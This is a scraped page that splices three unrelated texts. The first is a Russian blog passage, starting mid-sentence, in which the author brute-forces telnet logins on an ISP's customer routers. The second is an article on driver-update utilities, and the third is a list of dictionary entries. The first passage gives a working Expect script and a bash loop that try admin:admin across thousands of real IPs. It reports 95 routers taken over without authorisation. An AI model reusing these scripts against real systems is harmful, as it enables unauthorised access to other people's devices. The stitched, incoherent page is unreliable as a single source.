-o выводит только найденную подстроку, что нам и требуется.Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.
Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.
Попытки автоматизации telnet’а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f
set SERVER [lindex $argv 0];
set USER [lindex $argv 1];
set PASS [lindex $argv 2];
set timeout 1
spawn telnet $SERVER
expect ":"
send "$USER\r"
expect ":"
send "$PASS\r"
expect ">" {puts "\nFOUND $SERVER $USER:$PASS\n"; exit 0}
exit 1
Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.
Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан «#». Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
TP-LINK>
Однако маркер «>» универсален — он работает и на узявимых D-Link, которые дают приглашение вида
DSL-2600U#
Осталось только написать однострочный bash: исполняемый файл brute
#!/bin/bash
while read line; do ./try_telnet $line admin admin; done < log.txt
И запускаем
./brute > out.txt
В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).
Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt
Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.
В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).
В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.
В заключение хочу сказать, что я честно попытался информировать провайдера, однако электронной почты у него нет, толька форма «для обращений» с полями обязательного ввода «домашний адрес» и «телефон». Тогда друг и посоветовал написать на Хабрахабр. Всем спасибо!
habr.com
Поиск драйверов автоматически: что использовать лучше всего?
Как известно, драйверы абсолютно всех «железных» и виртуальных устройств, которые установлены в Windows-системах, со временем устаревают. Чтобы поддерживать оборудование в состоянии работоспособности и максимально эффективного использования, драйверы своевременно нужно обновлять. Давайте посмотрим, как можно произвести поиск драйверов автоматически, используя для этого средства системы и сторонних программ. Тут может быть несколько вариантов, о которых далее и пойдет речь.
Поиск драйверов автоматически: проблемы Windows
Windows-системы имеют огромный плюс, состоящий в том, что еще на стадии установки они производят сканирование всего установленного оборудования и инсталлируют для него драйверы самостоятельно и в автоматическом режиме. Но вот самая главная проблема – невозможность автоматического обновления драйверов (иногда пакеты апдейтов для самой системы могут содержать обновления драйверов, но только в избирательном порядке).
Одной из самых распространенных ситуаций можно назвать «слет» драйвера, после чего устройство оказывается неработоспособным. В «Диспетчере устройств» пользователь задает обновление управляющего программного обеспечения, а Windows предлагает ему произвести поиск в собственной базе.
Все это хорошо, но база не так обширна, как хотелось бы, а система в конечном итоге устанавливает, как она считает, наиболее подходящий драйвер, который может и не соответствовать выбранному типу оборудования. В результате устройство как не работало, так и не работает.
С другой стороны, если пользователь загрузил на жесткий диск сторонние пакеты драйверов или нашел нужное ПО в интернете, можно использовать и поиск драйверов, автоматически производимый на локальном компьютере. Если не нравится такой вариант, придется указывать путь к драйверу или его инсталлятору вручную.
Но и не это самое главное. Дело в том, что Windows обновлять управляющее программное обеспечение не умеет. А производить установку апдейтов для каждого устройства – дело совершенно неблагодарное. Таким образом, лучше обратиться к сторонним утилитам, которые выполнить такие действия позволяют, причем без участия пользователя.
Автоматический поиск и установка драйверов: разновидности программ
Все программы, предназначенные для работы с драйверами, условно можно разделить на две категории: чистые поисково-установочные пакеты и приложения, осуществляющие не только поиск с инсталляцией, но и содержащие собственные базы данных.
К первой категории может быть отнесена, например, программа для автоматического поиска драйверов Driver Booster, которая предназначена исключительно для нахождения и инсталляции драйверов через интернет. Во второй группе безусловным лидером является пакет DriverPack Solution, имеющий встроенную базу данных, которая куда больше, чем та, что предлагается операционной системой.
Как использовать встроенные пакеты драйверов?
Как уже понятно, автоматический поиск драйверов в Windows может осуществляться в основном только на стадии установки самой системы. Но ведь при наличии нестандартного оборудования или устройств от неподдерживаемых системой производителей управляющее программное обеспечение, полностью им соответствующее, инсталлировано не будет. Что делать в такой ситуации?
Тут лучше всего воспользоваться всеми преимуществами, которые предоставляет пользователям пакет DriverPack Solution. Во-первых, эта программа для автоматического поиска драйверов сначала просканирует все установленные устройства. Затем она инсталлирует необходимое ПО из своего арсенала. При условии наличия подключения к интернету, если драйвер в собственной базе найден не будет, приложение скачает его оттуда. Кроме того, особо стоит отметить, что программа может производить и обновление драйверов, причем изначально устанавливая самые новые их версии.
Как использовать автоматический поиск и установку?
Если посмотреть на программы, предназначенные только для установки самых свежих версий драйверов, тут все вмешательство пользователя в процесс ограничивается только соглашением на инсталляцию найденных апдейтов.
Для примера возьмем приложение Driver Booster. После старта оно самостоятельно определяет все установленные устройства, причем даже те, для которых драйверы могут быть не установлены. После этого программа обращается к официальным интернет-ресурсам производителей устройств и разработчиков драйверов, а затем предлагает пользователю интегрировать их в систему. При получении согласия активируется процесс установки, а по его окончании потребуется произвести полную перезагрузку системы.
Что предпочесть?
Отдельно стоит отметить, что практически все программные пакеты такого типа осуществляют поиск драйверов автоматически, и большинство таких утилит распространяются совершенно бесплатно. Немаловажный аспект – обращение исключительно к официальным источникам для загрузки оригинальных версий драйверов, что полностью исключает проникновение на компьютеры разного рода вирусов и вредоносных кодов. Кроме того, и самообновление в таких приложениях тоже предусмотрено.
Но что же выбрать для использования? По большому счету, если у пользователя стабильное подключение к интернету, тут особой разницы при выборе программы нет. А вот при его отсутствии без последних версий пакета DriverPack Solution не обойтись никак. Windows этой программе проигрывает, что называется, по всем параметрам.
fb.ru
автоматический поиск — с русского на английский
автоматический поиск — — [Л.Г.Суменко. Англо русский словарь по информационным технологиям. М.: ГП ЦНИИС, 2003.] Тематики информационные технологии в целом EN automatic scan … Справочник технического переводчика
автоматический поиск — automatinė paieška statusas T sritis automatika atitikmenys: angl. automatic scan; automatic search vok. automatisches Suchen, n rus. автоматический поиск, m pranc. recherche automatique, f … Automatikos terminų žodynas
автоматический поиск неисправностей — — [А.С.Гольдберг. Англо русский энергетический словарь. 2006 г.] Тематики энергетика в целом EN automatic fault findingAF … Справочник технического переводчика
поиск — сущ., м., употр. часто Морфология: (нет) чего? поиска, чему? поиску, (вижу) что? поиск, чем? поиском, о чём? о поиске; мн. что? поиски, (нет) чего? поисков, чему? поискам, (вижу) что? поиски, чем? поисками, о чём? о поисках 1. Поисками называют… … Толковый словарь Дмитриева
ПОИСК — (1) операция просмотра последовательности элементов (информации) с целью нахождения элемента (информации), имеющего требуемые свойства; (2) П. автоматический осуществляемый определёнными методами в замкнутой системе автоматического управления… … Большая политехническая энциклопедия
Автоматический грузовой корабль — У этого термина существуют и другие значения, см. ATV. Эта статья о грузовых космических кораблях Европейского космического агентства. О грузовых космических кораблях вообще см. Непилотируемый грузовой космический корабль … Википедия
Автоматический перевод — (машинный перевод) выполняемое на ЭВМ действие по преобразованию текста на одном естественном языке в эквивалентный по содержанию текст на другом языке, а также результат такого действия. В современных системах А. п. участвует человек (редактор) … Лингвистический энциклопедический словарь
ПОИСК АВТОМАТИЧЕСКИЙ — процесс в поисковой системе, заключающийся в подаче управляющего воздействия на вход объекта, оценке реакции на него объекта, проявляющейся в виде изменения значения нек рой целевой ф ции, и на их основе определении управляющего воздействия,… … Большой энциклопедический политехнический словарь
ИНФОРМАЦИИ НАКОПЛЕНИЕ И ПОИСК — Информация является одной из основных потребностей современного человека; она нужна для работы, путешествий, приобретения товаров, принятия решений, выполнения школьных заданий, заботы о здоровье и многочисленных других видов деятельности.… … Энциклопедия Кольера
Automatic search — Автоматический поиск … Краткий толковый словарь по полиграфии
Мультитран — Автоматический словарь Мультитран, CD оффлайновой версии, 2004 г. Тип … Википедия
translate.academic.ru
Ваш комментарий будет первым